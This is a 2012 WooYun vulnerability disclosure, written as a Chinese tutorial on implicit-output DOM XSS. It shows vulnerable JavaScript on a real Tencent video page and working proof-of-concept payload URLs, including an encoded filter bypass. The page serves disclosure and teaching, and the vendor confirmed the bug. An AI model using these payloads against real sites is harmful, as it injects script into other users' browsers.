当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016150

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 9. Dom Xss入门 [隐式输出]

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-17 21:08

修复时间:2013-01-31 21:09

公开时间:2013-01-31 21:09

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:2

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-17: 细节已通知厂商并且等待厂商处理中
2012-12-18: 厂商已经确认,细节仅向厂商公开
2012-12-28: 细节向核心白帽子及相关领域专家公开
2013-01-07: 细节向普通白帽子公开
2013-01-17: 细节向实习白帽子公开
2013-01-31: 细节向公众公开

简要描述:

周末腾讯不上班,我也不工作。
周一啦,继续。
上一篇开始说Dom Xss了,我们说的是显式输出的情况,即我们可以在右键查看源代码的时候,看到我们所输出的内容。而有一些时候,输出操作我们是看不见的。它们通常发生在javascript代码中。譬如:var x=location.href; 这句Javascript实际上进行了一个隐藏的输出操作,即将location.href的内容输出到了x变量中。一起来看看相关的例子吧~

详细说明:

前注: 1-4 是普通原理,没看明白的话,可以从5开始,结合实际例子看。
1. 本来是有另外一个例子的,不过不知道是腾讯已经给修复了,还是之前测试的时候人品好,偶尔碰上了,总之现在用不上了。
2. 这样一来,我们就只好用一个稍微复杂一点点的例子了。
3. 在说实际例子前,我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。

function getParam(参数名){
//获取地址栏参数,通常是 a=1&b=2&c=3;
var x=location.search;//或者是location.hash

//此时x="?a=1&b=2&c=3";
//根据[参数名]取出参数名对应的值
//例如 参数名=a, 则y=1
//例如 参数名=b, 则y=2
//至于这里怎么实现这个功能,可以用循环,可以用indexOf,可以用正则

var y= 参数名对应的参数值;

//返回y
return y;
}


它的作用呢?就是从地址栏的参数里取出内容。譬如:

http://www.some.com/2.html?name=shouzi&age=20


我们在2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:

<div id="nick">加载中...</div>
<script>
var a=getParam("name"); //获取地址栏里的name参数,即shouzi
document.getElementById("nick").innerHTML=a;
</script>


4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。
如果上面的地址变为了:

http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20


那么变量a将会等于 <img src=1 onerror=alert(1)>
document.getElementById("nick").innerHTML=a;
即变成了
document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";
这样就变成了 教程 8 中的情景,从而触发XSS。
5. 接着我们看一个实际的例子。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa


和原来的不同,我们在源代码里搜索不到东西的哦~

40.jpg


那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢? 别担心,方法是有的。
这里以chrome为例,按F12,打开调试工具,见下图

41.jpg


和查看源代码没有什么不同,只是这次是在调试工具里看而已。
6. 通过上面的方式,确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。
6.1 直接根据调试工具里看到的HTML代码情况,来构造利用代码。 优点:省时间,缺点:如果对方有一定过滤,就很难构造
6.2 定位到与这个缺陷参数sid相关的JS代码,再来构造利用代码。优点:能利用一些复杂的情况, 缺点:耗时间。
7. 对于新手来说,先看6.1的情况。看到步骤5里面的那个图。我们可以构造以下代码。

<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
...其它的省略了...
</object>


对应的图片解析:

42.jpg


进而“试探性”的测试一下利用代码,因为我们不知道对方会不会过滤掉 “双引号”,“括号”之类的,只能试试了。。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" onerror="alert(1)


没反应,我们继续看看调试工具,发现,双引号,变成了 \\" 。

43.jpg


根据这个情况,我们可以进一步修改代码。<img>标签里不使用双引号。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>


这次OK啦。

44.jpg


可以看到,这种方式,写利用代码很快。
8. 再来看看 6.2 的方法。既然我们知道了,sid这个参数会被使用。 那么我们的目标是,javascript的代码里哪里使用了sid这个参数呢?
9. 我们首先,F12打开调试工具,点【Resources】,再点Frames, 然后 Ctrl+ F搜索 "sid" 或者 'sid'

45.jpg


我们运气很好,一下就定位到了一个sid。
10. 可以看到是 getUrlPara("sid"),从单词,我们不难猜出,getUrlPara就是前面我们提到的 “获取地址栏参数“的函数。
为了进一步确定,我们可以很方便的在console里查看getUrlParam函数是啥样的。

46.jpg


可以看到,实际上getUrlParam是对<, > 做了过滤, 但是由于chrome浏览器自身的XSS防御机制,导致location.href获取的location.href是已经经过编码的。从而导致未过滤。
如下图:

48.jpg


11. 按道理,location.href里的<, > ," 已经变成了 %3c, %3e,%22已经被过滤了,不会有XSS了,为什么还可以呢?我们进一步往后看。

47.jpg


看来,关键就是这里,这里有一步decodeURIComponent的操作,会将 %3c, %3e,又变回 <, >
供参考的完整的缺陷代码。

var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,视频不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件,视频地址不合法!</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}


12. 接着,会调用 insertFlash("dv_video","f",sid,"100%","100%");
insertFlash里,也并没有对sid进行任何过滤。

function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}


图片解析:

49.jpg


13. 根据以上分析,我们的利用代码可以写为。注意,%3E,%3C的编码是关键。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E


非常值得说明的是:
如果采用6.1的方法,我们得到的利用代码是

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>


!! 这个代码在IE下,是没法XSS的。
而通过6.2的方法,去分析JS代码,我们则可以构造出通用的XSS代码。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E


这也反应了 6.1 和 6.2 方法各自的优缺点。

漏洞证明:

见详细说明。

修复方案:

1. 修复过滤上的逻辑问题。
2. 注意不同浏览器中,location.href的不同点。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-18 17:02

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-17 21:36 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    我的沙发,你们嫉妒去吧。

  2. 2012-12-17 21:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    真美好

  3. 2012-12-17 21:40 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xsser 比你快了3秒钟,\(^o^)/

  4. 2012-12-17 21:41 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xsser 3分钟。。。晕死了。。手快。。。打错了。。

  5. 2012-12-17 21:56 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    尼玛,现在一集真相都还看不到。。急死了。。老湿呀

  6. 2012-12-17 21:58 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @se55i0n 你猜湿,我都湿了好几次了。。

  7. 2012-12-17 21:59 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @se55i0n 你猜湿,我都湿了好几次了。。我连上一季的都没看到,我比你都急。。。

  8. 2012-12-17 22:03 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @鬼魅羊羔 马上提供关注此人功能

  9. 2012-12-17 22:09 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser 这个真可以有呀~~

  10. 2012-12-17 22:32 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xsser 要是看洞洞,不限制rank,那就更贴心了。。

  11. 2012-12-17 22:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @鬼魅羊羔 那样你就没洞洞看了

  12. 2012-12-17 22:39 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xsser - -||好吧好吧。。。我多想了,哈哈。

  13. 2012-12-18 00:25 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    真叫一个体贴.周末怕让腾讯的程序员加班.

  14. 2012-12-18 09:42 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    的确很体贴...

  15. 2012-12-18 09:50 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    关注才是王道。

  16. 2012-12-18 13:21 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    你和心伤的胖子是好丽友吗

  17. 2012-12-19 16:29 | Jack ( 路人 | Rank:7 漏洞数:1 | 渴望成长)

    每天抢沙发?

  18. 2013-01-17 18:53 | 烨少 ( 路人 | Rank:5 漏洞数:1 )

    却是很坑爹啊

  19. 2013-02-16 20:32 | mole3o ( 路人 | Rank:10 漏洞数:2 | 学生一枚,青春向上的白帽子。)

    碰到类似问题,死活找不到输出。郁闷了。

  20. 2013-11-11 12:56 | Coner ( 路人 | Rank:3 漏洞数:1 )

    谢谢洞主,知道怎么在前端跟踪变量了。

  21. 2014-05-25 15:10 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    叮咚~

  22. 2014-12-02 13:05 | 风之传说 ( 普通白帽子 | Rank:138 漏洞数:28 | 借用朋友的一句话,你的时间在哪里,你的成...)

    楼主,你的文章,我会全部看完,代表对你的尊重。。

  23. 2015-06-11 10:09 | kevinchowsec ( 路人 | Rank:12 漏洞数:5 | 周凯文,信息安全爱好者。)

    这真是很好的文章,学习了!

  24. 2015-06-13 15:24 | 风铃冷冷 ( 路人 | Rank:0 漏洞数:1 | <img />)

    我能评论吗<img>